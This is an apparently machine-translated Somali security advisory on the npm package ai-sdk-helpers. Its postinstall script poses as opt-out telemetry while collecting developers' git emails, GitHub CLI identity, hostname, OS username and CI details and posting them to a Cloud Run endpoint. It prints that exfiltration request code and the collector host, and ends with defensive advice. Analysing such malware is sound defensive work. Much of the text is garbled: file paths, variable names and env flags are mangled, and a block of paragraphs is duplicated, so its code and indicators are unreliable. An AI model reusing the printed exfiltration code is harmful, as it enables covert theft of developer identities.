TL, DR
Xidhmo npm ah oo keliya, AI-sdk-helpers, waxay isu soo bandhigaysaa qalab wax soo saar oo loogu talagalay Vercel AI SDK, iyadoo bixinaysa dabagalka kharashka, dib u dhaca bixiyaha, iyo kaaliyayaasha socodka.
Qoraalkeeda waqtiga rakibidda wuxuu ku furmayaa banner shaacineed oo la safeeyey oo sharraxaya ogaanshaha qarsoodiga ah, oo ballanqaadaya in aan la gudbin koodka isha, calaamadaha, ama shahaadooyinka, iyadoo la maamuusayo DO_NOT_TRACK ka bixitaan, iyo ku xidhitaanka bogga siyaasadda telemetry.
Isla qoraalka ayaa markaa akhrinaya aqoonsiga git-ka ee horumariyaha, qaabaynta GitHub CLI, magaca martida mashiinka, magaca isticmaalaha OS, buugga shaqada, iyo bixiyaha CI.
Xogtaas waxaa loo soo dhejiyay JSON dhammaadka Google Cloud Run, taasoo abuuraysa iswaafaq la'aan cad oo u dhaxaysa siyaasadda telemetry-ga ee la sheegay iyo meelaha dhabta ah ee la ururiyay.
Xirmada waxaa lagu daabacay laba iyo labaatan nooc oo ku jira hal wareeg oo 83-ilbiriqsi ah, qoraalka rakibidduna waa byte-for-byte oo isku mid ah nooc kasta oo la calaamadeeyay.
Toddobo ka mid ah siddeed nooc oo ay dib u eegeen annaga pipeline waxaa lagu qiimeeyay dhibco aan la isku halleyn karin oo ay heshay kala-soocidda ML sababtoo ah qaabaynta banner-ka ogolaanshaha waxay u egtahay telemetry sharci ah.
Waxaan u kala saareynaa ai-sdk-helpers sida xaasidnimo ku salaysan ururinta aqoonsiga horumariyaha waqtiga rakibidda iyo sifeynta.
Darnaanta: sare.
Qaab-dhismeedka rakibidda
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }postinstall Si toos ah ayuu u shaqeeyaa rakibaadda dharka, ka hor inta aan la soo gelin koodka xayeysiinta ee xirmada. Qoraalka qoraallada/postinstall.js waa meesha dhammaan hab-dhaqanka waqtiga rakibidda uu ku nool yahay.
Waxay ku furan tahay baloog faallo iyo ogeysiis waqtiga socodsiinta ah oo ku qoran diiwaanka mashruuc il furan oo miyir qaba oo ka warqaba asturnaanta:
>Marka aad rakibto ai-sdk-helpers, waxaanu samaynaa hubin degdeg ah oo ku saabsan iswaafajinta deegaanka waxaanan soo sheegaynaa ogaanshaha dadka aan la garanayn… Xogtu waa mid aan la garanayn — waxaanu ururinaa goobtaada, nooca Node, iyo hash hal-dhinac ah oo ah aqoonsiga mashiinkaaga. Lama gudbin karo koodhka isha, calaamadaha, ama aqoonsiga.
Xitaa waxay silig ku xirtaa albaab shaqeynaya oo ka-bixid ah, koodka ugu horreeya ee la fulin karo ee faylka ku jira:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }Albaabkan marka hore la xidho ayaa ah waxa inta kale ka dhigaya mid la isku raacsan yahay: horumariye dejiya `D_NOT_RAAC` rakibiddu si aamusnaan ah ayay u dhammaatay waxayna soo gabagabaynaysaa xidhmada oo sharfaysa heshiiska. Ka-bixitaanka sharafta leh waa mid dhab ah. Waxa ay u furan tahay, qof kasta oo aan dejin, waa ururinta hoos lagu sharraxay - ee maaha "madal cidhiidhi ah, nooca Node, iyo hash hal-dhinac ah" magacyada ogeysiiska.
Hoosta albaabkaas, qoraalku wuxuu soo ururiyaa culays dheeraad ah oo ka gudbaya sharraxaaddaas.
- *Gaqoonsiga.* rxallinScmAqoonsi()` qoraallo `~.gitconfig`,`~.config/git/config`,iyo mashruuca hadda jira.it/config`,wuxuu qeexayaa `[ser]` qaybta, oo soo celisa habaynta la habeeyay commit iimaylka. Haddii fayl habayn ah uusan soo saarin iimayl, wuxuu dib ugu noqonayaa 'G'T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,iyo `EAIL` doorsoomayaasha deegaanka. Qoraal ka sarreeya shaqada ayaa u qaabeeya akhrinta hab "si loo yareeyo rakibidda mashiinnada uu leeyahay isla qofkaas (tusaale ahaan laptop + CI)" - ujeedo la sheegay oo u baahan aqoonsi deggan oo horumariye kasta ah, kaas oo a commit agabka iimaylka.
- *Gakoonka tHub.* rxalliGitHubIdentity()` qoraallo `~.config/gh/hosts.yml` iyo `~.config/gh/hosts.yaml` faylka habaynta oo uu qoray GitHub CLI marka horumariye uu xaqiijiyo - oo regex-soo saaro 'u'er:` nd `ecaafimaad:` ields. Faylkaasi wuxuu sidoo kale kaydiyaa calaamadda GitHub OAuth; regex-ka qoraalka wuxuu si gaar ah u bartilmaameedsadaa magaca isticmaalaha iyo khadadka iimaylka mana soo saaro calaamadda. Sidaa darteed sheegashada "calaamadaha lama gudbin karo" ee boorarka shaacinta ayaa run ahaan run u ah hal goob halka aqoonsiga akoonka ee ku xeeran la akhriyo oo la diro.
- *Hfaraha st iyo CI.* ayuu qoraalku markaas ururiyaa `o.magaca martida(),`o.macluumaadka isticmaalaha().magaca isticmaalaha`,Nooca Node, goobta iyo qaab-dhismeedka, `pocess.cwd(),iyo calaamadda CI-bixiyaha oo la xalliyay iyadoo la hubinayo doorsoomayaasha deegaanka ee siddeed bixiye (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, iyo laba calan oo CI guud ah). Liiska bixiyeha wuxuu u akhriyaa sidii liis ay ku qoran yihiin meesha qoraalku ka filayo inuu ku fuliyo - qolof is-dhexgal ah iyo dhisme otomaatig ah pipelinewaa isku mid.
Dhammaan kuwan waxaa loo qaybiyaa hal `dagnostic-ga walax, oo leh beeraha horumariyaha kasta oo lagu soo ururiyey hoos `ihay'ad ey iyo xogta martida ee hoos timaada `rwaqti dheer` nd `cntext` eey, ka dibna si taxane ah loo habeeyey oo la gudbiyey:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();Jawaabtiisa waa la tuuray dhammaan khaladaadkana waa la liqay - faallo ayaa xusaysa in "telemetry waa inaysan waligood jebin rakibidda." Magaca martida ee dhammaadka ah wuxuu ku dhejiyaa adeegga Google Cloud Run ee `e`xarig-galbeed1` egion.
Farqiga ayaa ah sheekada. Boorku wuxuu magacaabayaa saddex qaybood oo xog ah - madal, nooca Node, iyo hash-aqoonsiga mashiinka. Culaysku wuxuu dirayaa git-ka dhabta ah ee horumariyaha. commit iimaylka, magaca isticmaalaha iyo iimaylka GitHub, magaca martigeliyaha mashiinka iyo magaca akoonka OS, wadada mashruucooda, iyo deegaankooda CI. Beeraha aqoonsada *prson iyo akoonnadooda* dib sax ah meelaha shaacinta laga reebayo.
README waxay xoojinaysaa qaab-dhismeedka dhinaca kale. Qaybteeda "Telemetry" waxay ku celinaysaa sheegashada qarsoodiga waxayna isku xiraysaa ereyga `D_NOT_RAAC` o `cnsoledonottrack.com`,bogga bulshada dhabta ah ee diiwaangeliya heshiiska ka-bixitaanka — amaahda asturnaan la aqoonsan yahay standard si ogeysiiska loogu akhriyo sidii caadiga ahayd.
Jadwalka
Kani waa helitaan hal xirmo ah oo leh taariikh daabacaad aad u gaaban oo aad u cufan. Ma jiro olole olole oo toddobaadyo badan socday oo la raadraaci karo - noocyada oo dhan waxaa lagu riixay xawaaraha mashiinka.
| Marka (UTC) | Event |
|---|---|
| 2026-06-03 20:31:20 | Nooca koowaad (0.1.0) lagu daabacay npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Dhammaan 22 nooc (0.1.0 iyada oo loo marayo 1.4.2) lagu daabacay qarax otomaatig ah oo 83 ilbiriqsi ah. |
| 2026-06-04 | Siddeed nooc oo lagu calaamadeeyay calaamadaha ogaanshaha; falanqaynta gacanta ayaa xaqiijinaysa ururinta aqoonsiga iyo sifeynta waqtiga rakibidda. Xidhmadu waxay ku sii jirtay npm waqtiga falanqaynta. |
Daaqadda 83-ilbiriqsi ah ee ku dhex jirta 22 nooc oo macne ah lafteedu waa tilmaame hab-dhaqan: jaranjarada nooca (`0)1.0`,`01.1`,… `14.2`)Waxay soo bandhigaysaa dusha sare ee mashruuc si firfircoon loo dayactiray oo leh taariikh sii deyn ah, oo lagu sameeyay hal mar oo qoraal ah. Qoraalka rakibidda isma beddelo jaranjaradaas - hoos ka eeg.
Tilmaamayaasha tanaasulka
Culayska waqtiga rakibidda waa isku mid noocyada la daabacay.ff` f `sripts/postinstall.js` inta u dhaxaysa nooca `02.1`` nooca iyo nooca `14.2`` wax farqi ah ma soo celinayo; dhaqanku waa hal far oo go'an, ee ma aha culays isbeddelaya.
Network
Daaqadda 83-ilbiriqsi ah ee ku dhex jirta 22 nooc oo macne ah lafteedu waa tilmaame hab-dhaqan: jaranjarada nooca (`0)1.0`,`01.1`,… `14.2`)Waxay soo bandhigaysaa dusha sare ee mashruuc si firfircoon loo dayactiray oo leh taariikh sii deyn ah, oo lagu sameeyay hal mar oo qoraal ah. Qoraalka rakibidda isma beddelo jaranjaradaas - hoos ka eeg.
Tilmaamayaasha tanaasulka
Culayska waqtiga rakibidda waa isku mid noocyada la daabacay.ff` f `sripts/postinstall.js` inta u dhaxaysa nooca `02.1`` nooca iyo nooca `14.2`` wax farqi ah ma soo celinayo; dhaqanku waa hal far oo go'an, ee ma aha culays isbeddelaya.
Network
| Tusiyaha | Kaalinta |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Goobta ugu dambeysa ee Exfiltration waxay helaysaa codsiyada HTTPS POST oo leh culaysyo JSON ah. Lagu martigeliyay Google Cloud Run ee ku jira europe-west1 gobolka. |
Kaabayaasha Decoy
| Tusiyaha | Kaalinta |
|---|---|
ai-sdk.guide | Bogga hore ee xirmada iyo bogga tooska ah ee taageeraya aqoonsiga qoraaga "Hagaha AI SDK". |
ai-sdk.guide/telemetry | URL-ka siyaasadda Telemetry-ga ee lagu xusay ogeysiiska shaacinta waqtiga rakibidda. |
hello@ai-sdk.guide | Iimayl qoraha ayaa lagu sheegay gudaha package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Kaydka isha ee ay ku dhawaaqday xirmada. |
Faylasha la akhriyo waqtiga rakibidda
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` email
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLIer` `ecudur
Saxiixyada dhaqanka
- – m `pstinstall` oo ku baaqaya qoraal Node ah oo la xirxiray
- - albaabka laga baxo (`A_SDK_HELPERS_TELEMETRY_NAALAY`,`D_NOT_RAAC`)loo soo bandhigay sifo asturnaan, ka hor ururinta aqoonsiga
- - tbound HTTPS POST ee shay JSON ah oo ka kooban emaylka git, aqoonsiga GitHub, magaca martida, magaca isticmaalaha OS, cwd, iyo sumadda CI
- - qoraal rakibid te-isku mid ah oo ku saabsan jaranjaro si dhakhso leh loo daabacay
Dhaqanka la arkay iyo tilmaamaha
Waxba kuma nisbayno waxa ka baxsan waxa diiwaanka xogta xirmada iyo diiwaanka diiwaanka.
Haystaha npm ee diiwaanka waa akoonka `aielsimon`,cinwaanka `aiel@vigilance.security`.Diiwaanku wuxuu ku taxay iimaylkaas mid aan la xaqiijin iyo aqoonsiga xakamaynta isha ee akoonka oo aan la xaqiijin.xir.json`,si gooni gooni ah, wuxuu qoraaga u soo bandhigayaa "Hagaha AI SDK `ello@ai-sdk.guide>`”oo leh bogga hore ee 'a'-sdk.hagaha` iyo kayd ilo ah oo hoos yimaada `gururka thub.com/ai-sdk-guide. Cinwaanka iimaylka ee akoonka daabacaadda (`vigilance.security`)iyo aqoonsiga qoraaga ee xirmada ku jira (`a-sdk.hagaha`)waa domain kala duwan.
The `a-sdk.hagaha` waa toos oo ka jawaabayaa, iyo `/element ath wuxuu xalliyaa - aqoonsiga khiyaanada waxaa taageeraya joogitaan shabakadeed oo la gaari karo halkii laga isticmaali lahaa xiriir dhintay, taas oo kor u qaadaysa aaminaadda qaab-dhismeedka xirmada.
**Awoodda la arkay.** Waqtiga rakibidda, xirmadu waxay akhrinaysaa aqoonsiga horumariyaha iyo faylasha habaynta akoonka, waxay faraha ka qaadaysaa deegaanka martida loo yahay iyo CI, waxayna natiijada u gudbinaysaa meel ay maamuluhu maamulo, iyadoo soo bandhigaysa ogeysiis qeexaya xog cidhiidhi ah oo aan la garanayn. Waxaan qeexaynaa dhaqankan; ma sheegno ujeeddada loo sameeyay. Akhristayaasha qiimeynaya xirmada - oo ay ku jiraan dhinac kasta oo aqoonsan aqoonsiga daabacaadda - waa inay miisaamaan isku dheelitir la'aanta la arki karo ee u dhaxaysa socodka xogta la sheegay iyo tan dhabta ah.
Saamaynta, isbeddellada, iyo hagitaanka difaacayaasha
Yaa la soo bandhigay. Qof kasta oo rakibaya AI-sdk-helpers — si toos ah ama ku-tiirsanaan ku-meel-gaar ah — waxay ku shaqeysaa ururinta mashiinkaas. Sababtoo ah kicinta ayaa ah postinstall, koodhka maktabadda la xayeysiiyay waligiis looma baahna in la soo dejiyo si socodka xogtu u dhaco; rakibidda kaliya ayaa ku filan. Deegaannada qiimaha ugu sarreeya waa goobaha shaqada ee horumariya oo leh aqoonsi git ah oo la habeeyey iyo GitHub CLI oo la xaqiijiyay, iyo CI runners, halkaas oo ogaanshaha CI-bixiyaha qoraalka uu tilmaamayo in ururinta la filayo inay ku socoto gudaha dhismaha. pipelines iyo sidoo kale laptop-yada.
Waxa ay soo bandhigto. Ma aha sirta codsiga kiiska guud - culayska lacagta ayaa ku xiran aqoonsiga: horumariyaha commit iimaylka, magaca akoonkooda GitHub iyo iimaylka, magacyada mashiinka iyo akoonka, iyo waddada mashruuca. Taasi waa horudhaccisKhariidadda cidda xirmada ku rakibtay, mashiinka, kaydka, iyo nidaamka CI-ga. Urur ahaan, tiro yar oo diiwaanno noocaas ah oo la isku keenay ayaa tirin doona injineerada iyo nidaamyada dhisa ee soo jiiday ku tiirsanaanta - oo waxtar u leh horudhaca hawlaha daba-galka ah ee la beegsanayo, xitaa haddii dhaqanka xirmadan uu ku istaago ururinta iyo gudbinta.
Isbeddelka: telemetry sida daboolka. Qalabka horumariyaha sharciga ah ayaa ururiya baaritaannada rakibidda ee aan la garanayn, iyo qawaaniinta loo sameeyo si xushmad leh - ogeysiis shaacin ah, a HA_LA_SOCOD_WAAQ sharaf, calan ka-bixid, URL siyaasadeed - waa kuwo si fiican loo yaqaan. AI-sdk-helpers Si daacad ah ayuu u soo saaraa dhammaan afartaas heshiis, wuxuuna u adeegsadaa duub ahaan ururinta aqoonsiga. Joogitaanka boorar oggolaansho, ka-bixid shaqaynaysa, ama xiriiriyaha siyaasadda asturnaanta ma aha caddayn muujinaysa in baakaddu ay tahay mid la isku halleyn karo; kontarooladaasi waa kuwo aan qaali ahayn in lagu daydo. Hubinta kaliya ee la isku halleyn karo waa waxa uu koodku dhab ahaantii akhriyo iyo meesha uu dhab ahaantii u diro.
Baakadani waxay sidoo kale leedahay saameyn la qiyaasi karo oo ku saabsan kala soocidda otomaatiga ah. pipeline dib loo eegay, faallooyinka qoraalka rakibaadda ee luqadda fudud, magacyada goobaha la qaabeeyey, iyo albaabka ka-bixidda caadiga ah ee loo qiimeeyay sidii telemetry caadi ah: toddobo ka mid ah siddeedii ayaa soo laabtay aan loo dhamayn laga bilaabo kala-soocidda ML halkii laga ahaan lahaa mid xaasidnimo ah. Calaamadda xallisa mugdiga kuma jirto qoraalka - waxay ku jirtaa faylasha gaarka ah ee qoraalka uu furmayo (~ / .gitconfig, ~/.config/gh/hosts.yml) iyo meesha ay u dirto. Dib-u-eege, ama qof otomaatig ah ama bini'aadam ah, oo akhriya shaacinta oo halkaas ku hakada wuxuu gaari doonaa gabagabo khaldan; go'aanku waa inuu ka yimaadaa xaqiiqooyinka socodka xogta.
Tilmaamaha difaacayaasha:
- Ku rakib qoraallo aan la joojin karin si caadi ah — rakibidda npm –ignore-scripts, ama deji ignore-scripts = run in .npmrc oo si cad u socodsii tallaabooyinka dhismaha ee la hubiyay. Tani waxay dhexdhexaadinaysaa postinstall-ururin kicinaysa oo dhan.
- Ha ula dhaqmin kontaroolada ka-bixitaanka inay yihiin calaamado kalsooni. HA_LA_SOCOD_WAAQ jeeg ama xiriiriyaha "siyaasadda telemetry" waxba kuma sheegayo xogta qoraalku ururiyo marka albaabka aan la dejin.
- Akhriso jillaab rakibidda ka hor intaadan qaadan xirmooyinka caawinta AI-ecosystem. Meesha Vercel AI SDK waa bartilmaameed degdeg ah oo kalsooni sare leh; postinstall taasi waxay taabataa ~ / .gitconfig or ~/.config/gh/ waa calaamad cad iyadoon loo eegin sida faallooyinka ku xeeran loo qoro.
- La soco bixitaanka waqtiga dhismaha. POST HTTPS ah oo dibadda u baxaya inta lagu jiro rakibaadda dharka, gaar ahaan dhammaadka shaqada daruuriga ah ee cusub, ayaa laga arki karaa lakabka shabakadda waana bar ogaansho oo xooggan oo loogu talagalay deegaannada CI.
- La soco jaranjarooyinka nooca la cadaadiyay. Xirmo oo taariikhdeeda oo dhan ee nooca macnaha leh ay soo muuqato ilbiriqsiyo gudahood, oo leh qoraal rakib ah oo aan isbeddelin, ayaa soo bandhigaya taariikh dayactir la sameeyay.
